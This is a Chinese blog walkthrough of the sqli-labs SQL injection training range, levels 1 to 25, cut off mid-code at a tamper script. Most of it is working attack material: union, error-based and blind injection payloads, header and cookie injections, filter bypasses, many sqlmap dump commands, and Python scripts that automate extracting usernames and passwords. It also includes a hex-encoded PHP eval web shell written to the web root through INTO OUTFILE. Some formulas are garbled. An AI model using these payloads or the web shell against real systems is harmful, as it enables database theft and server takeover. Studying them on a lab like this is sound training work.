前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >全网最全sqli-labs通关攻略(建议收藏)

全网最全sqli-labs通关攻略(建议收藏)

作者头像
网络安全自修室
发布2021-11-25 14:15:40
17.8K0
发布2021-11-25 14:15:40
举报

环境搭建

Sqli-labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境,玩起来吧!SQLi-LABS项目地址:https://github.com/Audi-1/sqli-labs,经过美化的项目地址:https://github.com/himadriganguly/sqlilabs,可以使用phpstudy或者web环境直接搭建运行,具体搭建步骤可以参考另一篇文章SQL注入靶场之sqlilabs搭建指南

第一关 基于错误的GET单引号字符型注入

存在注入点判断
  1. 加上单引号报错
代码语言:javascript
复制
http://localhost/sqlilabs/practice/example1.php?id=1'
  1. 加上注释符页面正常
代码语言:javascript
复制
http://localhost/sqlilabs/practice/example1.php?id=1' %23
  • 注释方式
    • # 号注释
    • %23 注释
    • --+ 注释
  1. 判断字段数(使用order by)
代码语言:javascript
复制
http://localhost/sqlilabs/practice/example1.php?id=1'  order by 3%23 # 正常
http://localhost/sqlilabs/practice/example1.php?id=1'  order by 4%23 # 页面显示错误

说明字段数为3
  1. 执行注入Payload
代码语言:javascript
复制
# 判断显示的信息点,通过id=-1来执行联合查询
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,2,3%23
  • 常用查询信息
    • database() # 在用的数据库名
    • user() # 用户信息
    • version() # 数据库版本信息
    • @@basedir # 数据库安装路径
    • @@version_compile_os # 操作系统版本
  1. 查看数据库数据
  • 查看表名称 group_concat函数:将查询到的多行结果连接成字符串
代码语言:javascript
复制
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  • 查看列名
代码语言:javascript
复制
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+
  • 查看字段
代码语言:javascript
复制
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+

将整个表内容显示出来了

sqlmap 注入常用命令

代码语言:javascript
复制
```
sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库
sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库
sqlmap -u “注入地址” -v 1 –-users # 列数据库用户
sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据
```
  • 注意的点
    • B:Boolean-based-blind (布尔型注入)
    • U:Union query-based (联合注入)
    • E:Error-based (报错型注入)
    • S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
    • T:Time-based blind (基于时间延迟注入)
    1. -–batch 默认选项运行
    2. --dbs 爆破数据库
    3. -–technique 指定sqlmap使用的检测技术 sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B

第二关 基于错误的GET整型注入

存在注入点判断
  1. 加上单引号报错
代码语言:javascript
复制
http://localhost/sqlilabs2/Less-2/index.php?id=1'--+
  1. 加上and 1=1 页面正常
代码语言:javascript
复制
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 1=1--+
  1. 加上and 12=2 页面不正常
代码语言:javascript
复制
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 12=2--+

说明执行了传入的payload,存在注入

  1. 判断字段数
代码语言:javascript
复制
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 3--+ # 正常
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 4--+ # 页面显示错误

说明字段数为3
  1. 查询表名
代码语言:javascript
复制
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+
  1. 查询字段名
代码语言:javascript
复制
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
  1. 直接查询数据库数据
代码语言:javascript
复制
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

第三关 基于错误的GET单引号变形注入

存在注入点判断

加上单引号报错,发现存在)

代码语言:javascript
复制
http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=2 --+ # 报错
http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=1 --+ # 正常

直接上payload,将数据库脱出

代码语言:javascript
复制
    http://localhost/sqlilabs2/Less-3/index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

第四关 基于错误的GET双引号字符型注入

存在注入点判断

加上双引号报错,发现存在"

代码语言:javascript
复制
http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=2 --+ # 报错
http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=1 --+ # 正常

直接上payload,将数据库脱出

代码语言:javascript
复制
 http://localhost/sqlilabs2/Less-4/index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

SQLMAP注入

直接上payload 1-4关皆可以用该命令

代码语言:javascript
复制
sqlmap -u "http://localhost/sqlilabs2/Less-2/index.php?id=1" --batch -D security -T users --columns --dump

源代码分析

  1. 直接贴源码
代码语言:javascript
复制
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

  if($row)
{
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
  }
  else 
{
  echo '<font color= "#FFFF00">';
  print_r(mysql_error());
  echo "</font>";  
}
}
  else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
  1. 由源码看出对GET传入的参数未做任何过滤,并打印出错误信息,直接在数据库中查询,导致可以将payload传入拼接执行sql="SELECT * FROM users WHERE id='sql="SELECT * FROM users WHERE id=sql="SELECT * FROM users WHERE id=('sql="SELECT * FROM users WHERE id=("
    • 第四题SQL语句
    • 第三题SQL语句
    • 第二题SQL语句
    • 第一题SQL语句
  2. 通过源代码可以更加清晰的理解payload的构造思路

第五关 基于GET单引号双注入

存在注入点判断
  1. 输入单引号测试,有报错信息,返回信息和第一关错误信息一样
  2. 不管输入id为多少,页面一直都是 you are in ....猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了
代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

  if($row)
{
    echo '<font size="5" color="#FFFF00">'; 
    echo 'You are in...........';
    echo "<br>";
      echo "</font>";
  }
  else 
{

  echo '<font size="3" color="#FFFF00">';
  print_r(mysql_error());
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
  else { echo "Please input the ID as parameter with numeric value";}

但是会把错误的信息给打印出来

  1. 所以应该用到双注入(也称报错注入),在错误中把要的信息打印出来
报错注入方式(十种)

该注入原理可以查找资料,注入方式的有资料可以点击查看,如下只列举常遇到的十种报错注入的方式

  • floor函数注入 select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a); http://localhost/sqlilabs2/Less-5/index.php?id=-1' union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23
  • payload是在中间concat部分,修改该部分可以执行不同命令
  • 只能用concat连接 ,group_concat不行,且每次只能显示一条数据
  • 要让上述的报错实现,数据库至少要3条数据
  • 使用注意
  • 运用
  • count():查询数量
  • rand():产生0~1间的随机数
  • floor():向下取整
  • group by:按指定分类
  • 函数介绍
  • 写法
  • extractvalue函数注入
    • 使用注意
    • MySQL 5.1.5版本以上才支持该函数
    • 返回的数据限制为32位
    • 可以用substring函数进行数据位移偏转 http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select substring(group_concat(username),1) from users),0x7e)))--+
    • 对XML文档进行查询
    • EXTRACTVALUE (XML_document, XPath_string);
    • 第一个参数:XML_document是String格式,为XML文档对象的名称
    • 第二个参数:XPath_string (Xpath格式的字符串)
    • 作用:从目标XML中返回包含所查询值的字符串
    • 函数介绍
    • 写法 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    • 运用 http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+
  • updatexml函数注入
  • MySQL 5.1.5版本以上才支持该函数
  • 返回的数据限制为32位
  • 可以用substring函数进行数据位移偏转
  • 使用注意
  • 对XML文档进行修改
  • UPDATEXML (XML_document, XPath_string, new_value);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:XPath_string (Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值
  • 函数介绍
  • 写法 select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  • 运用 http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+
  • geometrycollection函数注入
    • 函数介绍
    • 写法 select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • multipoint函数注入
    • 函数介绍
    • 写法 select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • polygon函数注入
    • 函数介绍
    • 写法 select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • multipolygon函数注入
    • 函数介绍
    • 写法 select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • linestring函数注入
    • 函数介绍
    • 写法 select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • multilinestring函数注入
    • 函数介绍
    • 写法 select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • exp函数注入
    • 函数介绍
    • 写法 select * from test where id=1 and exp(~(select * from(select user())a));
    • 运用
    • 使用注意

第六关 基于GET双引号双注入

和第五关类似,只要用双引号闭合即可

http://127.0.0.1/sqlilabs2/Less-6/index.php?id=-1" union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23

SQLMAP注入

直接上payload(第五六题均可用)

代码语言:javascript
复制
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-5/index.php?id=1" --technique E -D security -T users --dump --batch

第七关 基于文件写入注入

存在注入点判断
  1. 任意输入单引号,会显示报错
  2. 正常运行提示 Use outfile...... 所以理解为写入mm文件执行
  3. 通过尝试发现闭合')),通过查看源代码,再次确定闭合成功 sql="SELECT * FROM users WHERE id=(('result=mysql_query(sql);row = mysql_fetch_array(result); if(
写入文件配置(使用条件)

secure-file-priv - 如果文件导入不成功,确认Mysql配置文件my.ini下存在secure-file-priv - secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

  • secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
  • secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
  • secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

mysql使用以下命令查看是否打开文件写入开关

show global variables like '%secure%'

修改my.ini添加secure-file-priv参数,没有填具体值表示不做限制(这样做其实很危险)

重启mysql即可

写入敏感文件

写入一句话木马

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\mm2.php"--+

写入phpinfo

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\pp2.php--+

写入需要注意的

  • 写入的内容需要用hex转码,以防拦截
  • 写入的前提需要知道物理文件路径
  • 写入的前提是有权限写入,或者有配置写入的权限

可以在文件目录查看发现文件写入成功

同时网页可以直接访问该文件并执行

读取敏感文件
  • 前提要有页面输出哦!

http://127.0.0.1/sqlilabs2/Less-3/index.php?id=-1') union select 1,load_file('e:\mm.php'),3--+

SQLMQP 读写文件

文件读取

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" --file-read "E:\mm.php"

文件写入

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:\sql2.php" --batch---title: Sqlilabs通关笔记(8-10)盲注date: 2020-01-04 17:20:00tags: SQL注入categories: SQL注入


第八关 基于GET单引号布尔型盲注

存在注入点判断
  1. 通过反斜杠可知,错误和正常页面有区别
  2. 可以构造payload来进行判断布尔值,从而确定要查询的结果 http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 's'=left(database(),1)--+ 页面正常 说明第一个字母为shttp://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 'se'=left(database(),2)--+ 页面正常 第二个字母e...................以此类推可以将数据结果得出
  3. 利用二分法构造payload import string import requests from time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1\' and "
    • ascii() 函数,返回字符ascii码值
    • length() 函数,返回字符串的长度
    • left() 函数,返回从左至右截取固定长度的字符串
    • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
    • if函数,判断条件并作出不同行动
    • 参数 : str单字符
    • 参数 : str 字符串
    • 参数str,length
    • str : 字符串
    • length:截取长度
    • 参数,str,pos,length
    • str: 字符串
    • pos:开始位置
    • length:截取长度
    • 参数,条件,成立,不成立
    • 常用构造函数
    • 实例构造 SELECT * from users WHERE id = 1 and (length(database())=8)SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))SELECT * from users WHERE id = 1 and 's'=left(database(),1)SELECT * from users WHERE id = 1 and if((length(database())=8),1,0)
    • 脚本编写
代码语言:javascript
复制
def checkurl(url):
    res = requests.get(url)
    if res.ok:
        if 'You are in' in res.text:
            return True
    return False

def main():
    flag  = ''
    for g in range(100):
        for i in arlist:
            payload = "substr((select group_concat(username,password) from users),%s,1) = \'%s\'--+" % (
                g, i)
            finalurl = Baseurl + payload
            if checkurl(finalurl):
                flag = flag + str(i)
                print(flag)
            sleep(0.2)

if  __name__ == "__main__":
    main()
```

SQLMAP注入

直接上payload

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch

第九关 基于GET单引号基于时间盲注

存在注入点判断
  1. 加上反斜杠发现页面并无变化
  2. 猜测不管语法对错页面都没有变化
  3. 尝试使用sleep看是否执行
  4. 布尔盲注和时间盲注的最直观区别就是一个可以通过页面区别来判断对错,一个则无法判断对错,只能通过执行的时间来区别对错
  5. 查看源码验证布尔盲注和时间盲注布尔源码如下:
代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    echo '<font size="5" color="#FFFF00">'; 
  echo 'You are in...........';
  echo "<br>";
    echo "</font>";
  }
else 
{

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

时间盲注源码如下

代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    echo '<font size="5" color="#FFFF00">'; 
  echo 'You are in...........';
  echo "<br>";
    echo "</font>";
  }
else 
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
else { echo "Please input the ID as parameter with numeric value";}
  1. 布尔注释掉了输出错误信息,而时间盲注不管对错页面都是You are in..
  2. 尝试构造payload http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1' and if((length(database())=8),sleep(5),1)--+
  3. 脚本编写 import string import requests from time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1\' and "
代码语言:javascript
复制
def checkurl(url):
    try:
        res = requests.get(url,timeout = 3)
        return True
    except Exception as e:
        return False

def main():
    flag  = ''
    for g in range(100):
        for i in arlist:
            payload = "if((substr((select group_concat(username,password) from users),%s,1) = \'%s\'),sleep(5),1)--+" % (
                g, i)
            finalurl = Baseurl + payload
            if checkurl(finalurl):
                flag = flag + str(i)
                print(flag)
            sleep(0.2)

if  __name__ == "__main__":
    main()
```

第十关 基于GET双引号基于时间盲注

存在注入点判断
  • 和第九关类似,只不过需要用双引号闭合

payload:

http://127.0.0.1/sqlilabs2/Less-10/index.php?id=1" and if((length(database())=8),sleep(5),1)--+

SQLMAP注入

直接上payload(9-10通用)

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

第十一关 基于错误的POST单引号字符型注入

已经显示输入框了,说明是POST提交方式的注入

注入点判断
  1. 在输入框中输入单引号报错,说明为简单的字符型注入
  2. 根据之前GET闯关注入的经验,只是换成post提交
  3. 查看字段数,判断为2个字段

uname=admin' order by 2#&passwd=&submit=Submit 正常uname=admin' order by 3#&passwd=&submit=Submit 不正常

  1. 直接上payload

payload直接查出数据库所有数据

uname=-admin' union select group_concat(username,password),2 from users#&passwd=&submit=Submit

第十二关 基于错误的POST双引号字符型注入

  1. 这关与上一关不同在于需要通过双引号来进行闭合,payload类似

uname=-admin") union select group_concat(username,password),2 from users#&passwd=&submit=Submit

第十三关 基于POST单引号双注入变形

  1. 通过输入反斜杠报错,可以通过')来进行闭合
  2. 猜测是报错注入,唯一不同的post传入
  3. 直接上payload,可以直接导出所有数据

uname=') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit

第十四关 基于POST双引号双注入变形

  1. 与十三关类似,只是需要通过双引号进行闭合
  2. 直接上payload

uname=" and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit

第十五关 基于POST单引号布尔型时间盲注

  1. 使用了\ ’ 等各种姿势网页硬是没有变化
  2. 可能是时间盲注
  3. 直接用uname=admin' and sleep(10)#&passwd=1&submit=Submit 发现确是时间盲注
  4. 直接上sqlmap 或者 写个脚本跑就够了和之前GET时间盲注类似

第十六关 基于POST双引号布尔型时间盲注

  1. 和十五关类似,只是用双引号闭合

uname=admin") and sleep(10)#&passwd=1&submit=Submit

SQLMAP注入

  1. 通过burpsuit抓取数据包导入进sqlmap进行注入检测
  2. 以less11为例通过bp抓取数据包
  1. 选择导出文件为1.txt

如果要指定参数注入检测可以将该参数修改成*

  1. 使用sqlmap载入导出的数据包并进行注入检测

sqlmap -r "1.txt" -p uname -D security -T users -C username,password --dump --technique ES --batch --threads 10

  1. 也可以使用--data传入post参数

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-15/" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

  • -r 读取抓包文件
  • -p 需要检测的参数
  • --technique 需要检测的注入方式
    • E 基于报错的注入
    • S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入
  • --batch 默认选择
  • --threads 线程数
  • -data 传入post参数(免去抓包)

第十七关 基于POST错误的更新

注入点判断
  1. 在passwd直接加反斜杠有报错

uname=admin&passwd=admin&submit=Submit

  1. 可以在passwd参数上尝试报错注入
  2. 界面输入框好像是更新密码的窗口,猜测是对用户输入的密码没有进行检测过滤
源码分析
代码语言:javascript
复制
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
{
  if(!empty($value))
    {
    // truncation (see comments)截断15位
    $value = substr($value,0,15);
    }

    // Stripslashes if magic quotes enabled 如果打开了魔法开关,会自动转义
    if (get_magic_quotes_gpc())
      {
                // 将反斜杠去掉
      $value = stripslashes($value);
      }

    // Quote if not a number
    if (!ctype_digit($value))
      {
                // 自动转义
      $value = "'" . mysql_real_escape_string($value) . "'";
      }
    
  else
    {
    $value = intval($value);
    }
  return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
  if($row)
{
      //echo '<font color= "#0000ff">';
    $row1 = $row['username'];   
    //echo 'Your Login name:'. $row1;
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
      echo "<br>";



    if (mysql_error())
    {
      echo '<font color= "#FFFF00" font size = 3 >';
      print_r(mysql_error());
      echo "</br></br>";
      echo "</font>";
    }
    else
    {
      echo '<font color= "#FFFF00" font size = 3 >';
      //echo " You password has been successfully updated " ;   
      echo "<br>";
      echo "</font>";
    }

    echo '<img src="../images/flag1.jpg"   />'; 
    //echo 'Your Password:' .$row['password'];
      echo "</font>";



  }
  else  
{
    echo '<font size="4.5" color="#FFFF00">';
    //echo "Bug off you Silly Dumb hacker";
    echo "</br>";
    echo '<img src="../images/slap1.jpg"   />';

    echo "</font>";  
}
}

?>
  1. 查看源码可知有个过滤函数check_input,其过滤步骤是
    • substr($value,0,15) 截断到15位
    • 单引号、双引号、反斜杠、null自动用反斜杠转义
    • stripslashes()去掉多余的反斜杠
  2. 源码看passwd并没有使用过滤函数过滤,因而可以进行变量可控

passwd=_POST['passwd'];

  1. 是通过update进行一个拼接,且会打印错误信息

update="UPDATE users SET password = '

  1. 报错注入无疑了,直接上payload

uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit

uname=admin&passwd=' and extractvalue(null,concat(0x7e,database(),0x7e))#&submit=Submit

SQLMAP注入

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs

  • --data:指定请求信息
  • -p:指定参数
  • --dbms:指定后端数据库
  • --threads:指定并发线程数
  • --method:指定请求方式
  • --flush-session:清除session
  • --fresh-queries:发起新的请求
  • --level 1:尝试POST和GET注入
  • --risk 1:仅测试常见用例
  • --technique E:仅测试报错注入方式---title: Sqlilabs通关笔记(18-22)数据头注入date: 2020-01-07 12:32:50tags: SQL注入categories: SQL注入

第十八关 基于POST错误的Uagent字段数据头注入

注入点判断
  1. 页面显示yourip应该是请求头的参数参入
  2. 同时post传入并未有该参数
  3. 用admin登录成功后发现有User-agents显示
  1. 无法使用hackbar插件提交了,需要用到burpsuit进行抓包提交
  2. 抓包如下
  1. 在user-agent头上加单引号报错,确定user-agent注入了
  1. 通过单引号闭合进行payload构造

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1

  1. 直接构造报错注入的payload

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

第十九关 基于POST错误的Referer字段数据头注入

1.同理,本关的注入点在Referer参数,payload一样只是参数位置不同

第二十关 基于POST错误的Cookie-Uagent字段数据头注入

1.同理,本关的注入点在cookie参数,payload一样只是参数位置不同

Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

第二十一关 基于base64编码单引号的Cookie注入

1.同理,本关的注入点在cookie参数,和上一关payload一样只是编码方式不同

uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d

第二十二关 基于base64编码加密的双引号Cookie注入

1.同理,本关的注入点在cookie参数,和上一关payload一样只是双引号闭合方式

uname=YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgIjEiID0gIjE%3d

SQLMAP注入

  1. 可以直接使用-r进行对抓取的数据包进行检测在user-agent这个需要检测的参数上加上*号

sqlmap -r "2.txt" -D security -T users --columns --dump --batch --technique E --batch --level 3 --threads 10

  1. 也可以直接通过user-agent注入,时间可能稍长一些

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-18/" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' and '1'='1" --level 3 --threads 10 --dbms mysql --fresh-queries --flush-session -D security -T users --columns --dump --batch --technique E

  • --level

level: 设置检测的方方面面和测试用例 - 默认是1,会尝试POST和GET - 2:Cookie也会加入检测 - 3:User-Agent和Referer也会检测, 更大的值会增加用例量

  • --user-agent

指定User-Agent

  • --data

指定请求的内容

  • --dbms

指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例.

  • --fresh-queries

fresh-queries会忽略之前的查询结果,进行重新请求操作

  • --flush-session

flush-session会清空当前URL相关的

第二十三关 基于GET错误的过滤注释

注入点判断
  1. 老办法单引号反斜杠试了下确实报错
  2. 但注释过不了怀疑注释有过滤
  3. 查看源代码,发现将#和--替换成空了
代码语言:javascript
复制
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  1. 直接上payload

http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1

第二十四关 POST二次排序注入-存储型注入

注入点判断
  1. 感觉界面大变样
  1. 登录进去又是改密码,猜测又是update语句
  1. 修改密码加反斜杠重新登录未见报错,查看源代码一探究竟
    • 有新用户注册文件 New_user.php
    • 修改密码文件 pass_change.php
    • 登录文件 login.php
    • 都使用了mysql_real_escape_string函数对注册的参数进行过滤
    • 但在修改密码文件中却是直接调用username参数
    • 猜测可以之间注册一个admin'#用户进而修改admin的密码,代码如下
代码语言:javascript
复制
if (isset($_POST['submit']))
{


  # Validating the user input........
  $username= $_SESSION["username"];
  $curr_pass= mysql_real_escape_string($_POST['current_password']);
  $pass= mysql_real_escape_string($_POST['password']);
  $re_pass= mysql_real_escape_string($_POST['re_password']);

  if($pass==$re_pass)
  { 
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_affected_rows();
    echo '<font size="3" color="#FFFF00">';
    echo '<center>';
    if($row==1)
    {
      echo "Password successfully updated";

    }
    else
    {
      header('Location: failed.php');
      //echo 'You tried to be smart, Try harder!!!! :( ';
    }
}
  else
{
    echo '<font size="5" color="#FFFF00"><center>';
    echo "Make sure New Password and Retype Password fields have same value";
    header('refresh:2, url=index.php');
}
}

因为没有报错注入的条件,时间盲注有点漫长可以尝试脚本注册然后再注入,确实有点麻烦

但本题目的是:对于存储型的注入,可以先将导致SQL注入的字符预先存到数据库中,当再次调用到这个恶意构造的字符时就可以触发注入

title: Sqlilabs通关笔记(25-28)绕过注入 date: 2020-01-07 16:58:27 tags: SQL注入

categories: SQL注入

第二十五关 基于错误的GET单引号-你的OR及AND归我所有

这个系列是绕过注入,题目已提示需要绕过的字符,且能显示出输入的payload

源码审计
代码语言:javascript
复制
function blacklist($id)
{
  $id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
  $id= preg_replace('/AND/i',"", $id);    //Strip out AND (non case sensitive)

  return $id;
}

从代码可以看出是吧or和and忽略大小正则替换成空

绕过方式
  • 符号替换绕过数学符号 and = && or = ||&对应url编码%26,|对应url编码%7 payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' || extractvalue(null,concat(0x7e,database(),0x7e))%23
  • 双写绕过 oorr # 替换为空仍为oranandd # 替换为空仍为and payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
  • 注释绕过 and = an/**/d or = o/**/r payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23

SQLMAP编写tamper绕过

代码语言:javascript
复制
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

